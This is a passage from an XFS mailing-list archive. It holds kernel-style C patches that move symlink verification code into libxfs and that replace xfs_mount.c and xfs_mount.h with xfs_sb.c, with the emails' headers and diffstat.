(!xfs_symlink_verify(bp)) { - XFS_CORRUPTION_ERROR(__func__, XFS_ERRLEVEL_LOW, mp, bp->b_addr); - xfs_buf_ioerror(bp, EFSCORRUPTED); - return; - } - - if (bip) { - struct xfs_dsymlink_hdr *dsl = bp->b_addr; - dsl->sl_lsn = cpu_to_be64(bip->bli_item.li_lsn); - } - xfs_update_cksum(bp->b_addr, BBTOB(bp->b_length), - offsetof(struct xfs_dsymlink_hdr, sl_crc)); -} - -const struct xfs_buf_ops xfs_symlink_buf_ops = { - .verify_read = xfs_symlink_read_verify, - .verify_write = xfs_symlink_write_verify, -}; - -void -xfs_symlink_local_to_remote( - struct xfs_trans *tp, - struct xfs_buf *bp, - struct xfs_inode *ip, - struct xfs_ifork *ifp) -{ - struct xfs_mount *mp = ip->i_mount; - char *buf; - - if (!xfs_sb_version_hascrc(&mp->m_sb)) { - bp->b_ops = NULL; - memcpy(bp->b_addr, ifp->if_u1.if_data, ifp->if_bytes); - return; - } - - /* - * As this symlink fits in an inode literal area, it must also fit in - * the smallest buffer the filesystem supports. - */ - ASSERT(BBTOB(bp->b_length) >= - ifp->if_bytes + sizeof(struct xfs_dsymlink_hdr)); - - bp->b_ops = &xfs_symlink_buf_ops; - - buf = bp->b_addr; - buf += xfs_symlink_hdr_set(mp, ip->i_ino, 0, ifp->if_bytes, bp); - memcpy(buf, ifp->if_u1.if_data, ifp->if_bytes); -} diff --git a/libxfs/xfs_symlink_remote.c b/libxfs/xfs_symlink_remote.c new file mode 100644 index 0000000..539db0c --- /dev/null +++ b/libxfs/xfs_symlink_remote.c @@ -0,0 +1,185 @@ +/* + * Copyright (c) 2000-2006 Silicon Graphics, Inc. + * Copyright (c) 2012-2013 Red Hat, Inc. + * All rights reserved. + * + * This program is free software; you can redistribute it and/or + * modify it under the terms of the GNU General Public License as + * published by the Free Software Foundation. + * + * This program is distributed in the hope that it would be useful, + * but WITHOUT ANY WARRANTY; without even the implied warranty of + * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the + * GNU General Public License for more details. + * + * You should have received a copy of the GNU General Public License + * along with this program; if not, write the Free Software Foundation, + * Inc., 51 Franklin St, Fifth Floor, Boston, MA 02110-1301 USA + */ +#include + +/* + * Each contiguous block has a header, so it is not just a simple pathlen + * to FSB conversion. + */ +int +xfs_symlink_blocks( + struct xfs_mount *mp, + int pathlen) +{ + int buflen = XFS_SYMLINK_BUF_SPACE(mp, mp->m_sb.sb_blocksize); + + return (pathlen + buflen - 1) / buflen; +} + +int +xfs_symlink_hdr_set( + struct xfs_mount *mp, + xfs_ino_t ino, + uint32_t offset, + uint32_t size, + struct xfs_buf *bp) +{ + struct xfs_dsymlink_hdr *dsl = bp->b_addr; + + if (!xfs_sb_version_hascrc(&mp->m_sb)) + return 0; + + dsl->sl_magic = cpu_to_be32(XFS_SYMLINK_MAGIC); + dsl->sl_offset = cpu_to_be32(offset); + dsl->sl_bytes = cpu_to_be32(size); + uuid_copy(&dsl->sl_uuid, &mp->m_sb.sb_uuid); + dsl->sl_owner = cpu_to_be64(ino); + dsl->sl_blkno = cpu_to_be64(bp->b_bn); + bp->b_ops = &xfs_symlink_buf_ops; + + return sizeof(struct xfs_dsymlink_hdr); +} + +/* + * Checking of the symlink header is split into two parts. the verifier does + * CRC, location and bounds checking, the unpacking function checks the path + * parameters and owner. + */ +bool +xfs_symlink_hdr_ok( + struct xfs_mount *mp, + xfs_ino_t ino, + uint32_t offset, + uint32_t size, + struct xfs_buf *bp) +{ + struct xfs_dsymlink_hdr *dsl = bp->b_addr; + + if (offset != be32_to_cpu(dsl->sl_offset)) + return false; + if (size != be32_to_cpu(dsl->sl_bytes)) + return false; + if (ino != be64_to_cpu(dsl->sl_owner)) + return false; + + /* ok */ + return true; +} + +static bool +xfs_symlink_verify( + struct xfs_buf *bp) +{ + struct xfs_mount *mp = bp->b_target->bt_mount; + struct xfs_dsymlink_hdr *dsl = bp->b_addr; + + if (!xfs_sb_version_hascrc(&mp->m_sb)) + return false; + if (dsl->sl_magic != cpu_to_be32(XFS_SYMLINK_MAGIC)) + return false; + if (!uuid_equal(&dsl->sl_uuid, &mp->m_sb.sb_uuid)) + return false; + if (bp->b_bn != be64_to_cpu(dsl->sl_blkno)) + return false; + if (be32_to_cpu(dsl->sl_offset) + + be32_to_cpu(dsl->sl_bytes) >= MAXPATHLEN) + return false; + if (dsl->sl_owner == 0) + return false; + + return true; +} + +static void +xfs_symlink_read_verify( + struct xfs_buf *bp) +{ + struct xfs_mount *mp = bp->b_target->bt_mount; + + /* no verification of non-crc buffers */ + if (!xfs_sb_version_hascrc(&mp->m_sb)) + return; + + if (!xfs_verify_cksum(bp->b_addr, BBTOB(bp->b_length), + offsetof(struct xfs_dsymlink_hdr, sl_crc)) || + !xfs_symlink_verify(bp)) { + XFS_CORRUPTION_ERROR(__func__, XFS_ERRLEVEL_LOW, mp, bp->b_addr); + xfs_buf_ioerror(bp, EFSCORRUPTED); + } +} + +static void +xfs_symlink_write_verify( + struct xfs_buf *bp) +{ + struct xfs_mount *mp = bp->b_target->bt_mount; + struct xfs_buf_log_item *bip = bp->b_fspriv; + + /* no verification of non-crc buffers */ + if (!xfs_sb_version_hascrc(&mp->m_sb)) + return; + + if (!xfs_symlink_verify(bp)) { + XFS_CORRUPTION_ERROR(__func__, XFS_ERRLEVEL_LOW, mp, bp->b_addr); + xfs_buf_ioerror(bp, EFSCORRUPTED); + return; + } + + if (bip) { + struct xfs_dsymlink_hdr *dsl = bp->b_addr; + dsl->sl_lsn = cpu_to_be64(bip->bli_item.li_lsn); + } + xfs_update_cksum(bp->b_addr, BBTOB(bp->b_length), + offsetof(struct xfs_dsymlink_hdr, sl_crc)); +} + +const struct xfs_buf_ops xfs_symlink_buf_ops = { + .verify_read = xfs_symlink_read_verify, + .verify_write = xfs_symlink_write_verify, +}; + +void +xfs_symlink_local_to_remote( + struct xfs_trans *tp, + struct xfs_buf *bp, + struct xfs_inode *ip, + struct xfs_ifork *ifp) +{ + struct xfs_mount *mp = ip->i_mount; + char *buf; + + if (!xfs_sb_version_hascrc(&mp->m_sb)) { + bp->b_ops = NULL; + memcpy(bp->b_addr, ifp->if_u1.if_data, ifp->if_bytes); + return; + } + + /* + * As this symlink fits in an inode literal area, it must also fit in + * the smallest buffer the filesystem supports. + */ + ASSERT(BBTOB(bp->b_length) >= + ifp->if_bytes + sizeof(struct xfs_dsymlink_hdr)); + + bp->b_ops = &xfs_symlink_buf_ops; + + buf = bp->b_addr; + buf += xfs_symlink_hdr_set(mp, ip->i_ino, 0, ifp->if_bytes, bp); + memcpy(buf, ifp->if_u1.if_data, ifp->if_bytes); +} -- 1.8.3.2 From dave@fromorbit.com Wed Sep 4 17:21:44 2013 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay2.corp.sgi.com [137.38.102.29]) by oss.sgi.com (Postfix) with ESMTP id 6775D29E22 for ; Wed, 4 Sep 2013 17:21:44 -0500 (CDT) Received: from cuda.sgi.com (cuda2.sgi.com [192.48.176.25]) by relay2.corp.sgi.com (Postfix) with ESMTP id 49A2C304048 for ; Wed, 4 Sep 2013 15:21:44 -0700 (PDT) X-ASG-Debug-ID: 1378333282-04cbb02c3ad4b6f000b-NocioJ Received: from ipmail05.adl6.internode.on.net (ipmail05.adl6.internode.on.net [150.101.137.143]) by cuda.sgi.com with ESMTP id ospFOZkUOuDmqH15 for ; Wed, 04 Sep 2013 15:21:39 -0700 (PDT) X-Barracuda-Envelope-From: dave@fromorbit.com X-Barracuda-Apparent-Source-IP: 150.101.137.143 X-IronPort-Anti-Spam-Filtered: true X-IronPort-Anti-Spam-Result: AnkIAKexJ1J5LJ62/2dsb2JhbABbgweuUZUhF3SCJAEBBRoBDC8PJAgYMTkDGxkZh2i6No4iB4VbA5QbjgmHN4MyKoEtAR4G Received: from ppp121-44-158-182.lns20.syd7.internode.on.net (HELO dastard) ([121.44.158.182]) by ipmail05.adl6.internode.on.net with ESMTP; 05 Sep 2013 07:51:35 +0930 Received: from disappointment.disaster.area ([192.168.1.110] helo=disappointment) by dastard with esmtp (Exim 4.76) (envelope-from ) id 1VHLDA-0007dt-4b for xfs@oss.sgi.com; Thu, 05 Sep 2013 08:06:04 +1000 Received: from dave by disappointment with local (Exim 4.80) (envelope-from ) id 1VHLDA-0003tc-3Y for xfs@oss.sgi.com; Thu, 05 Sep 2013 08:06:04 +1000 From: Dave Chinner To: xfs@oss.sgi.com Subject: [PATCH 31/55] libxfs: switch over to xfs_sb.c and remove xfs_mount.c Date: Thu, 5 Sep 2013 08:05:35 +1000 X-ASG-Orig-Subj: [PATCH 31/55] libxfs: switch over to xfs_sb.c and remove xfs_mount.c Message-Id: <1378332359-14737-32-git-send-email-david@fromorbit.com> X-Mailer: git-send-email 1.8.3.2 In-Reply-To: <1378332359-14737-1-git-send-email-david@fromorbit.com> References: <1378332359-14737-1-git-send-email-david@fromorbit.com> X-Barracuda-Connect: ipmail05.adl6.internode.on.net[150.101.137.143] X-Barracuda-Start-Time: 1378333297 X-Barracuda-URL: http://192.48.176.25:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.00 X-Barracuda-Spam-Status: No, SCORE=0.00 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests= X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.140347 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- From: Dave Chinner Now that the kernel code has split the superblock specific code out of xfs_mount.c, we don't need xfs_mount.c anymore. Copy in xfs_sb.c and remove xfs_mount.c Signed-off-by: Dave Chinner --- include/Makefile | 1 - include/libxfs.h | 14 +- include/libxlog.h | 4 - include/xfs_mount.h | 372 ------------------------- include/xfs_sb.h | 26 ++ include/xfs_trace.h | 1 + libxfs/Makefile | 10 +- libxfs/init.c | 2 +- libxfs/xfs.h | 1 + libxfs/xfs_mount.c | 721 ------------------------------------------------ libxfs/xfs_sb.c | 771 ++++++++++++++++++++++++++++++++++++++++++++++++++++ 11 files changed, 818 insertions(+), 1105 deletions(-) delete mode 100644 include/xfs_mount.h delete mode 100644 libxfs/xfs_mount.c create mode 100644 libxfs/xfs_sb.c diff --git a/include/Makefile b/include/Makefile index 6a4e521..45b8533 100644 --- a/include/Makefile +++ b/include/Makefile @@ -36,7 +36,6 @@ QAHFILES = libxfs.h libxlog.h \ xfs_log_format.h \ xfs_log_recover.h \ xfs_metadump.h \ - xfs_mount.h \ xfs_quota_defs.h \ xfs_sb.h \ xfs_trace.h \ diff --git a/include/libxfs.h b/include/libxfs.h index 51a2442..5422147 100644 --- a/include/libxfs.h +++ b/include/libxfs.h @@ -47,7 +47,6 @@ #include #include #include -#include #include #include #include @@ -323,6 +322,11 @@ enum xfs_buf_flags_t { /* b_flags bits */ #define xfs_buf_set_ref(bp,ref) ((void) 0) #define xfs_buf_ioerror(bp,err) (bp)->b_error = (err); +#define xfs_daddr_to_agno(mp,d) \ + ((xfs_agnumber_t)(XFS_BB_TO_FSBT(mp, d) / (mp)->m_sb.sb_agblocks)) +#define xfs_daddr_to_agbno(mp,d) \ + ((xfs_agblock_t)(XFS_BB_TO_FSBT(mp, d) % (mp)->m_sb.sb_agblocks)) + /* Buffer Cache Interfaces */ extern struct cache *libxfs_bcache; @@ -477,7 +481,6 @@ extern xfs_trans_t *libxfs_trans_dup (xfs_trans_t *); extern int libxfs_trans_reserve (xfs_trans_t *, uint,uint,uint,uint,uint); extern int libxfs_trans_commit (xfs_trans_t *, uint); extern void libxfs_trans_cancel (xfs_trans_t *, int); -extern void libxfs_mod_sb (xfs_trans_t *, __int64_t); extern xfs_buf_t *libxfs_trans_getsb (xfs_trans_t *, xfs_mount_t *, int); extern int libxfs_trans_iget (xfs_mount_t *, xfs_trans_t *, xfs_ino_t, @@ -705,7 +708,7 @@ void xfs_dinode_from_disk(struct xfs_icdinode *, #define libxfs_idata_realloc xfs_idata_realloc #define libxfs_idestroy_fork xfs_idestroy_fork -/* xfs_mount.h */ +/* xfs_sb.h */ #define libxfs_mod_sb xfs_mod_sb #define libxfs_sb_from_disk xfs_sb_from_disk #define libxfs_sb_to_disk xfs_sb_to_disk @@ -730,4 +733,9 @@ extern uint32_t crc32c_le(uint32_t crc, unsigned char const *p, size_t len); #include +#define xfs_notice(mp,fmt,args...) cmn_err(CE_NOTE,fmt, ## args) +#define xfs_warn(mp,fmt,args...) cmn_err(CE_WARN,fmt, ## args) +#define xfs_alert(mp,fmt,args...) cmn_err(CE_ALERT,fmt, ## args) +#define xfs_hex_dump(d,n) ((void) 0) + #endif /* __LIBXFS_H__ */ diff --git a/include/libxlog.h b/include/libxlog.h index e65b607..a61e437 100644 --- a/include/libxlog.h +++ b/include/libxlog.h @@ -66,10 +66,6 @@ struct xlog { #define XFS_MOUNT_WAS_CLEAN 0x1 #define unlikely(x) (x) -#define xfs_warn(mp,fmt,args...) cmn_err(CE_WARN,fmt, ## args) -#define xfs_alert(mp,fmt,args...) cmn_err(CE_ALERT,fmt, ## args) -#define xfs_hex_dump(d,n) ((void) 0) - extern void xlog_warn(char *fmt,...); extern void xlog_exit(char *fmt,...); extern void xlog_panic(char *fmt,...); diff --git a/include/xfs_mount.h b/include/xfs_mount.h deleted file mode 100644 index 5410e9f..0000000 --- a/include/xfs_mount.h +++ /dev/null @@ -1,372 +0,0 @@ -/* - * Copyright (c) 2000-2005 Silicon Graphics, Inc. - * All Rights Reserved. - * - * This program is free software; you can redistribute it and/or - * modify it under the terms of the GNU General Public License as - * published by the Free Software Foundation. - * - * This program is distributed in the hope that it would be useful, - * but WITHOUT ANY WARRANTY; without even the implied warranty of - * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the - * GNU General Public License for more details. - * - * You should have received a copy of the GNU General Public License - * along with this program; if not, write the Free Software Foundation, - * Inc., 51 Franklin St, Fifth Floor, Boston, MA 02110-1301 USA - */ -#ifndef __XFS_MOUNT_H__ -#define __XFS_MOUNT_H__ - -#ifndef __KERNEL__ - -#define xfs_daddr_to_agno(mp,d) \ - ((xfs_agnumber_t)(XFS_BB_TO_FSBT(mp, d) / (mp)->m_sb.sb_agblocks)) -#define xfs_daddr_to_agbno(mp,d) \ - ((xfs_agblock_t)(XFS_BB_TO_FSBT(mp, d) % (mp)->m_sb.sb_agblocks)) - -#else /* __KERNEL__ */ - -struct xlog; -struct xfs_inode; -struct xfs_mru_cache; -struct xfs_nameops; -struct xfs_ail; -struct xfs_quotainfo; - -#ifdef HAVE_PERCPU_SB - -/* - * Valid per-cpu incore superblock counters. Note that if you add new counters, - * you may need to define new counter disabled bit field descriptors as there - * are more possible fields in the superblock that can fit in a bitfield on a - * 32 bit platform. The XFS_SBS_* values for the current current counters just - * fit. - */ -typedef struct xfs_icsb_cnts { - uint64_t icsb_fdblocks; - uint64_t icsb_ifree; - uint64_t icsb_icount; - unsigned long icsb_flags; -} xfs_icsb_cnts_t; - -#define XFS_ICSB_FLAG_LOCK (1 << 0) /* counter lock bit */ - -#define XFS_ICSB_LAZY_COUNT (1 << 1) /* accuracy not needed */ - -extern int xfs_icsb_init_counters(struct xfs_mount *); -extern void xfs_icsb_reinit_counters(struct xfs_mount *); -extern void xfs_icsb_destroy_counters(struct xfs_mount *); -extern void xfs_icsb_sync_counters(struct xfs_mount *, int); -extern void xfs_icsb_sync_counters_locked(struct xfs_mount *, int); -extern int xfs_icsb_modify_counters(struct xfs_mount *, xfs_sb_field_t, - int64_t, int); - -#else -#define xfs_icsb_init_counters(mp) (0) -#define xfs_icsb_destroy_counters(mp) do { } while (0) -#define xfs_icsb_reinit_counters(mp) do { } while (0) -#define xfs_icsb_sync_counters(mp, flags) do { } while (0) -#define xfs_icsb_sync_counters_locked(mp, flags) do { } while (0) -#define xfs_icsb_modify_counters(mp, field, delta, rsvd) \ - xfs_mod_incore_sb(mp, field, delta, rsvd) -#endif - -/* dynamic preallocation free space thresholds, 5% down to 1% */ -enum { - XFS_LOWSP_1_PCNT = 0, - XFS_LOWSP_2_PCNT, - XFS_LOWSP_3_PCNT, - XFS_LOWSP_4_PCNT, - XFS_LOWSP_5_PCNT, - XFS_LOWSP_MAX, -}; - -typedef struct xfs_mount { - struct super_block *m_super; - xfs_tid_t m_tid; /* next unused tid for fs */ - struct xfs_ail *m_ail; /* fs active log item list */ - xfs_sb_t m_sb; /* copy of fs superblock */ - spinlock_t m_sb_lock; /* sb counter lock */ - struct xfs_buf *m_sb_bp; /* buffer for superblock */ - char *m_fsname; /* filesystem name */ - int m_fsname_len; /* strlen of fs name */ - char *m_rtname; /* realtime device name */ - char *m_logname; /* external log device name */ - int m_bsize; /* fs logical block size */ - xfs_agnumber_t m_agfrotor; /* last ag where space found */ - xfs_agnumber_t m_agirotor; /* last ag dir inode alloced */ - spinlock_t m_agirotor_lock;/* .. and lock protecting it */ - xfs_agnumber_t m_maxagi; /* highest inode alloc group */ - uint m_readio_log; /* min read size log bytes */ - uint m_readio_blocks; /* min read size blocks */ - uint m_writeio_log; /* min write size log bytes */ - uint m_writeio_blocks; /* min write size blocks */ - struct xlog *m_log; /* log specific stuff */ - int m_logbufs; /* number of log buffers */ - int m_logbsize; /* size of each log buffer */ - uint m_rsumlevels; /* rt summary levels */ - uint m_rsumsize; /* size of rt summary, bytes */ - struct xfs_inode *m_rbmip; /* pointer to bitmap inode */ - struct xfs_inode *m_rsumip; /* pointer to summary inode */ - struct xfs_inode *m_rootip; /* pointer to root directory */ - struct xfs_quotainfo *m_quotainfo; /* disk quota information */ - xfs_buftarg_t *m_ddev_targp; /* saves taking the address */ - xfs_buftarg_t *m_logdev_targp;/* ptr to log device */ - xfs_buftarg_t *m_rtdev_targp; /* ptr to rt device */ - __uint8_t m_blkbit_log; /* blocklog + NBBY */ - __uint8_t m_blkbb_log; /* blocklog - BBSHIFT */ - __uint8_t m_agno_log; /* log #ag's */ - __uint8_t m_agino_log; /* #bits for agino in inum */ - __uint16_t m_inode_cluster_size;/* min inode buf size */ - uint m_blockmask; /* sb_blocksize-1 */ - uint m_blockwsize; /* sb_blocksize in words */ - uint m_blockwmask; /* blockwsize-1 */ - uint m_alloc_mxr[2]; /* max alloc btree records */ - uint m_alloc_mnr[2]; /* min alloc btree records */ - uint m_bmap_dmxr[2]; /* max bmap btree records */ - uint m_bmap_dmnr[2]; /* min bmap btree records */ - uint m_inobt_mxr[2]; /* max inobt btree records */ - uint m_inobt_mnr[2]; /* min inobt btree records */ - uint m_ag_maxlevels; /* XFS_AG_MAXLEVELS */ - uint m_bm_maxlevels[2]; /* XFS_BM_MAXLEVELS */ - uint m_in_maxlevels; /* max inobt btree levels. */ - struct radix_tree_root m_perag_tree; /* per-ag accounting info */ - spinlock_t m_perag_lock; /* lock for m_perag_tree */ - struct mutex m_growlock; /* growfs mutex */ - int m_fixedfsid[2]; /* unchanged for life of FS */ - uint m_dmevmask; /* DMI events for this FS */ - __uint64_t m_flags; /* global mount flags */ - uint m_dir_node_ents; /* #entries in a dir danode */ - uint m_attr_node_ents; /* #entries in attr danode */ - int m_ialloc_inos; /* inodes in inode allocation */ - int m_ialloc_blks; /* blocks in inode allocation */ - int m_inoalign_mask;/* mask sb_inoalignmt if used */ - uint m_qflags; /* quota status flags */ - struct xfs_trans_resv m_reservations; /* precomputed res values */ - __uint64_t m_maxicount; /* maximum inode count */ - __uint64_t m_resblks; /* total reserved blocks */ - __uint64_t m_resblks_avail;/* available reserved blocks */ - __uint64_t m_resblks_save; /* reserved blks @ remount,ro */ - int m_dalign; /* stripe unit */ - int m_swidth; /* stripe width */ - int m_sinoalign; /* stripe unit inode alignment */ - int m_attr_magicpct;/* 37% of the blocksize */ - int m_dir_magicpct; /* 37% of the dir blocksize */ - __uint8_t m_sectbb_log; /* sectlog - BBSHIFT */ - const struct xfs_nameops *m_dirnameops; /* vector of dir name ops */ - int m_dirblksize; /* directory block sz--bytes */ - int m_dirblkfsbs; /* directory block sz--fsbs */ - xfs_dablk_t m_dirdatablk; /* blockno of dir data v2 */ - xfs_dablk_t m_dirleafblk; /* blockno of dir non-data v2 */ - xfs_dablk_t m_dirfreeblk; /* blockno of dirfreeindex v2 */ - uint m_chsize; /* size of next field */ - struct xfs_chash *m_chash; /* fs private inode per-cluster - * hash table */ - atomic_t m_active_trans; /* number trans frozen */ -#ifdef HAVE_PERCPU_SB - xfs_icsb_cnts_t __percpu *m_sb_cnts; /* per-cpu superblock counters */ - unsigned long m_icsb_counters; /* disabled per-cpu counters */ - struct notifier_block m_icsb_notifier; /* hotplug cpu notifier */ - struct mutex m_icsb_mutex; /* balancer sync lock */ -#endif - struct xfs_mru_cache *m_filestream; /* per-mount filestream data */ - struct delayed_work m_reclaim_work; /* background inode reclaim */ - struct delayed_work m_eofblocks_work; /* background eof blocks - trimming */ - __int64_t m_update_flags; /* sb flags we need to update - on the next remount,rw */ - int64_t m_low_space[XFS_LOWSP_MAX]; - /* low free space thresholds */ - - struct workqueue_struct *m_data_workqueue; - struct workqueue_struct *m_unwritten_workqueue; - struct workqueue_struct *m_cil_workqueue; - struct workqueue_struct *m_reclaim_workqueue; - struct workqueue_struct *m_log_workqueue; - struct workqueue_struct *m_eofblocks_workqueue; -} xfs_mount_t; - -/* - * Flags for m_flags. - */ -#define XFS_MOUNT_WSYNC (1ULL << 0) /* for nfs - all metadata ops - must be synchronous except - for space allocations */ -#define XFS_MOUNT_WAS_CLEAN (1ULL << 3) -#define XFS_MOUNT_FS_SHUTDOWN (1ULL << 4) /* atomic stop of all filesystem - operations, typically for - disk errors in metadata */ -#define XFS_MOUNT_DISCARD (1ULL << 5) /* discard unused blocks */ -#define XFS_MOUNT_RETERR (1ULL << 6) /* return alignment errors to - user */ -#define XFS_MOUNT_NOALIGN (1ULL << 7) /* turn off stripe alignment - allocations */ -#define XFS_MOUNT_ATTR2 (1ULL << 8) /* allow use of attr2 format */ -#define XFS_MOUNT_GRPID (1ULL << 9) /* group-ID assigned from directory */ -#define XFS_MOUNT_NORECOVERY (1ULL << 10) /* no recovery - dirty fs */ -#define XFS_MOUNT_DFLT_IOSIZE (1ULL << 12) /* set default i/o size */ -#define XFS_MOUNT_32BITINODES (1ULL << 14) /* do not create inodes above - * 32 bits in size */ -#define XFS_MOUNT_SMALL_INUMS (1ULL << 15) /* users wants 32bit inodes */ -#define XFS_MOUNT_NOUUID (1ULL << 16) /* ignore uuid during mount */ -#define XFS_MOUNT_BARRIER (1ULL << 17) -#define XFS_MOUNT_IKEEP (1ULL << 18) /* keep empty inode clusters*/ -#define XFS_MOUNT_SWALLOC (1ULL << 19) /* turn on stripe width - * allocation */ -#define XFS_MOUNT_RDONLY (1ULL << 20) /* read-only fs */ -#define XFS_MOUNT_DIRSYNC (1ULL << 21) /* synchronous directory ops */ -#define XFS_MOUNT_COMPAT_IOSIZE (1ULL << 22) /* don't report large preferred - * I/O size in stat() */ -#define XFS_MOUNT_FILESTREAMS (1ULL << 24) /* enable the filestreams - allocator */ -#define XFS_MOUNT_NOATTR2 (1ULL << 25) /* disable use of attr2 format */ - - -/* - * Default minimum read and write sizes. - */ -#define XFS_READIO_LOG_LARGE 16 -#define XFS_WRITEIO_LOG_LARGE 16 - -/* - * Max and min values for mount-option defined I/O - * preallocation sizes. - */ -#define XFS_MAX_IO_LOG 30 /* 1G */ -#define XFS_MIN_IO_LOG PAGE_SHIFT - -/* - * Synchronous read and write sizes. This should be - * better for NFSv2 wsync filesystems. - */ -#define XFS_WSYNC_READIO_LOG 15 /* 32k */ -#define XFS_WSYNC_WRITEIO_LOG 14 /* 16k */ - -/* - * Allow large block sizes to be reported to userspace programs if the - * "largeio" mount option is used. - * - * If compatibility mode is specified, simply return the basic unit of caching - * so that we don't get inefficient read/modify/write I/O from user apps. - * Otherwise.... - * - * If the underlying volume is a stripe, then return the stripe width in bytes - * as the recommended I/O size. It is not a stripe and we've set a default - * buffered I/O size, return that, otherwise return the compat default. - */ -static inline unsigned long -xfs_preferred_iosize(xfs_mount_t *mp) -{ - if (mp->m_flags & XFS_MOUNT_COMPAT_IOSIZE) - return PAGE_CACHE_SIZE; - return (mp->m_swidth ? - (mp->m_swidth << mp->m_sb.sb_blocklog) : - ((mp->m_flags & XFS_MOUNT_DFLT_IOSIZE) ? - (1 << (int)MAX(mp->m_readio_log, mp->m_writeio_log)) : - PAGE_CACHE_SIZE)); -} - -#define XFS_LAST_UNMOUNT_WAS_CLEAN(mp) \ - ((mp)->m_flags & XFS_MOUNT_WAS_CLEAN) -#define XFS_FORCED_SHUTDOWN(mp) ((mp)->m_flags & XFS_MOUNT_FS_SHUTDOWN) -void xfs_do_force_shutdown(struct xfs_mount *mp, int flags, char *fname, - int lnnum); -#define xfs_force_shutdown(m,f) \ - xfs_do_force_shutdown(m, f, __FILE__, __LINE__) - -#define SHUTDOWN_META_IO_ERROR 0x0001 /* write attempt to metadata failed */ -#define SHUTDOWN_LOG_IO_ERROR 0x0002 /* write attempt to the log failed */ -#define SHUTDOWN_FORCE_UMOUNT 0x0004 /* shutdown from a forced unmount */ -#define SHUTDOWN_CORRUPT_INCORE 0x0008 /* corrupt in-memory data structures */ -#define SHUTDOWN_REMOTE_REQ 0x0010 /* shutdown came from remote cell */ -#define SHUTDOWN_DEVICE_REQ 0x0020 /* failed all paths to the device */ - -/* - * Flags for xfs_mountfs - */ -#define XFS_MFSI_QUIET 0x40 /* Be silent if mount errors found */ - -static inline xfs_agnumber_t -xfs_daddr_to_agno(struct xfs_mount *mp, xfs_daddr_t d) -{ - xfs_daddr_t ld = XFS_BB_TO_FSBT(mp, d); - do_div(ld, mp->m_sb.sb_agblocks); - return (xfs_agnumber_t) ld; -} - -static inline xfs_agblock_t -xfs_daddr_to_agbno(struct xfs_mount *mp, xfs_daddr_t d) -{ - xfs_daddr_t ld = XFS_BB_TO_FSBT(mp, d); - return (xfs_agblock_t) do_div(ld, mp->m_sb.sb_agblocks); -} - -/* - * Per-cpu superblock locking functions - */ -#ifdef HAVE_PERCPU_SB -static inline void -xfs_icsb_lock(xfs_mount_t *mp) -{ - mutex_lock(&mp->m_icsb_mutex); -} - -static inline void -xfs_icsb_unlock(xfs_mount_t *mp) -{ - mutex_unlock(&mp->m_icsb_mutex); -} -#else -#define xfs_icsb_lock(mp) -#define xfs_icsb_unlock(mp) -#endif - -/* - * This structure is for use by the xfs_mod_incore_sb_batch() routine. - * xfs_growfs can specify a few fields which are more than int limit - */ -typedef struct xfs_mod_sb { - xfs_sb_field_t msb_field; /* Field to modify, see below */ - int64_t msb_delta; /* Change to make to specified field */ -} xfs_mod_sb_t; - -extern int xfs_log_sbcount(xfs_mount_t *); -extern __uint64_t xfs_default_resblks(xfs_mount_t *mp); -extern int xfs_mountfs(xfs_mount_t *mp); - -extern void xfs_unmountfs(xfs_mount_t *); -extern int xfs_mod_incore_sb(xfs_mount_t *, xfs_sb_field_t, int64_t, int); -extern int xfs_mod_incore_sb_batch(xfs_mount_t *, xfs_mod_sb_t *, - uint, int); -extern int xfs_mount_log_sb(xfs_mount_t *, __int64_t); -extern struct xfs_buf *xfs_getsb(xfs_mount_t *, int); -extern int xfs_readsb(xfs_mount_t *, int); -extern void xfs_freesb(xfs_mount_t *); -extern int xfs_fs_writable(xfs_mount_t *); -extern int xfs_sb_validate_fsb_count(struct xfs_sb *, __uint64_t); - -extern int xfs_dev_is_read_only(struct xfs_mount *, char *); - -extern void xfs_set_low_space_thresholds(struct xfs_mount *); - -#endif /* __KERNEL__ */ - -/* - * perag get/put wrappers for ref counting - */ -struct xfs_perag *xfs_perag_get(struct xfs_mount *mp, xfs_agnumber_t agno); -struct xfs_perag *xfs_perag_get_tag(struct xfs_mount *mp, xfs_agnumber_t agno, - int tag); -void xfs_perag_put(struct xfs_perag *pag); - -extern void xfs_sb_calc_crc(struct xfs_buf *); -extern void xfs_mod_sb(struct xfs_trans *, __int64_t); -extern int xfs_initialize_perag(struct xfs_mount *, xfs_agnumber_t, - xfs_agnumber_t *); -extern void xfs_sb_from_disk(struct xfs_sb *, struct xfs_dsb *); -extern void xfs_sb_to_disk(struct xfs_dsb *, struct xfs_sb *, __int64_t); - -extern const struct xfs_buf_ops xfs_sb_buf_ops; - -#endif /* __XFS_MOUNT_H__ */ diff --git a/include/xfs_sb.h b/include/xfs_sb.h index 4a710d6..04fe32a 100644 --- a/include/xfs_sb.h +++ b/include/xfs_sb.h @@ -26,6 +26,7 @@ struct xfs_buf; struct xfs_mount; +struct xfs_trans; #define XFS_SB_MAGIC 0x58465342 /* 'XFSB' */ #define XFS_SB_VERSION_1 1 /* 5.3, 6.0.1, 6.1 */ @@ -630,6 +631,12 @@ static inline int xfs_sb_version_has_pquotino(xfs_sb_t *sbp) return XFS_SB_VERSION_NUM(sbp) == XFS_SB_VERSION_5; } +static inline bool +xfs_is_quota_inode(struct xfs_sb *sbp, xfs_ino_t ino) +{ + return (ino == sbp->sb_uquotino || ino == sbp->sb_gquotino); +} + /* * end of superblock version macros */ @@ -666,4 +673,23 @@ static inline int xfs_sb_version_has_pquotino(xfs_sb_t *sbp) #define XFS_B_TO_FSBT(mp,b) (((__uint64_t)(b)) >> (mp)->m_sb.sb_blocklog) #define XFS_B_FSB_OFFSET(mp,b) ((b) & (mp)->m_blockmask) +/* + * perag get/put wrappers for ref counting + */ +extern struct xfs_perag *xfs_perag_get(struct xfs_mount *, xfs_agnumber_t); +extern struct 